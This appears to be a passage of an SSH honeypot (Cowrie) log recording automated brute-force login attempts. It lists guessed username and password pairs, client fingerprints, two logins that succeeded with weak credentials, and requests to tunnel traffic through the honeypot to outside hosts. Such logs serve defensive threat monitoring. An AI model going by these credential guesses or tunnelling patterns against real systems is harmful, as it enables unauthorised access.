@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:13.379072Z","src_ip":"91.92.40.36","session":"b37fad68fde4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":55512,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea727f3f6c0c","protocol":"ssh","message":"New connection: 91.92.40.36:55512 (159.203.135.109:22) [session: ea727f3f6c0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:16.463331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:16.607302Z","src_ip":"91.92.40.36","session":"ea727f3f6c0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:16.610694Z","src_ip":"91.92.40.36","session":"ea727f3f6c0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tania","password":"tania123","message":"login attempt [tania/tania123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:17.767745Z","src_ip":"91.92.40.36","session":"b37fad68fde4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"270387","message":"login attempt [admin/270387] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:18.228181Z","src_ip":"91.92.40.36","session":"ea727f3f6c0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:19.332546Z","src_ip":"91.92.40.36","session":"ea727f3f6c0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:19.891611Z","src_ip":"91.92.40.36","session":"b37fad68fde4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":55616,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d1eb7270b1e","protocol":"ssh","message":"New connection: 91.92.40.36:55616 (159.203.135.109:22) [session: 2d1eb7270b1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:23.970766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:24.182997Z","src_ip":"91.92.40.36","session":"2d1eb7270b1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:24.187446Z","src_ip":"91.92.40.36","session":"2d1eb7270b1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ahmad","password":"1234","message":"login attempt [ahmad/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:24.925009Z","src_ip":"91.92.40.36","session":"2d1eb7270b1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:26.521315Z","src_ip":"91.92.40.36","session":"2d1eb7270b1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":37434,"dst_ip":"159.203.135.109","dst_port":22,"session":"74ed477e1316","protocol":"ssh","message":"New connection: 91.92.40.36:37434 (159.203.135.109:22) [session: 74ed477e1316]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:33.426227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:33.563284Z","src_ip":"91.92.40.36","session":"74ed477e1316","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:34.424555Z","src_ip":"91.92.40.36","session":"74ed477e1316","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.148.145.132","src_port":61905,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd739bac9e42","protocol":"ssh","message":"New connection: 23.148.145.132:61905 (10.17.0.5:22) [session: cd739bac9e42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:37.669199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:37.819705Z","src_ip":"23.148.145.132","session":"cd739bac9e42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:37.825631Z","src_ip":"23.148.145.132","session":"cd739bac9e42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www-data","password":"12345","message":"login attempt [www-data/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:38.796701Z","src_ip":"91.92.40.36","session":"74ed477e1316","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":10808,"dst_ip":"159.203.135.109","dst_port":22,"session":"8187ba5a99ca","protocol":"ssh","message":"New connection: 91.92.40.36:10808 (159.203.135.109:22) [session: 8187ba5a99ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:39.228179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:39.233889Z","src_ip":"91.92.40.36","session":"8187ba5a99ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:39.340405Z","src_ip":"91.92.40.36","session":"8187ba5a99ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwert","message":"login attempt [ubuntu/qwert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:39.813308Z","src_ip":"91.92.40.36","session":"8187ba5a99ca","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:39.879421Z","src_ip":"23.148.145.132","session":"cd739bac9e42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:40.808695Z","src_ip":"91.92.40.36","session":"74ed477e1316","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:41.136198Z","src_ip":"91.92.40.36","session":"8187ba5a99ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":20848,"dst_ip":"159.203.135.109","dst_port":22,"session":"19a761263026","protocol":"ssh","message":"New connection: 91.92.40.36:20848 (159.203.135.109:22) [session: 19a761263026]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:45.623214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:46.087139Z","src_ip":"91.92.40.36","session":"19a761263026","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:46.090851Z","src_ip":"91.92.40.36","session":"19a761263026","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"spice1","message":"login attempt [admin/spice1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:48.787830Z","src_ip":"91.92.40.36","session":"19a761263026","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:50.314692Z","src_ip":"91.92.40.36","session":"19a761263026","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":58309,"dst_ip":"10.17.0.5","dst_port":22,"session":"4056c83e8d07","protocol":"ssh","message":"New connection: 123.27.168.40:58309 (10.17.0.5:22) [session: 4056c83e8d07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:52.018981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:52.023183Z","src_ip":"123.27.168.40","session":"4056c83e8d07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:52.255747Z","src_ip":"123.27.168.40","session":"4056c83e8d07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":20938,"dst_ip":"159.203.135.109","dst_port":22,"session":"a67fa2592166","protocol":"ssh","message":"New connection: 91.92.40.36:20938 (159.203.135.109:22) [session: a67fa2592166]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:52.954072Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:53.360590Z","src_ip":"123.27.168.40","session":"4056c83e8d07","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:53.450441Z","src_ip":"91.92.40.36","session":"a67fa2592166","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:53.453268Z","src_ip":"91.92.40.36","session":"a67fa2592166","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:53.726332Z","session":"4056c83e8d07","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:53.868953Z","session":"4056c83e8d07","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:53.957656Z","src_ip":"123.27.168.40","session":"4056c83e8d07","protocol":"ssh"}
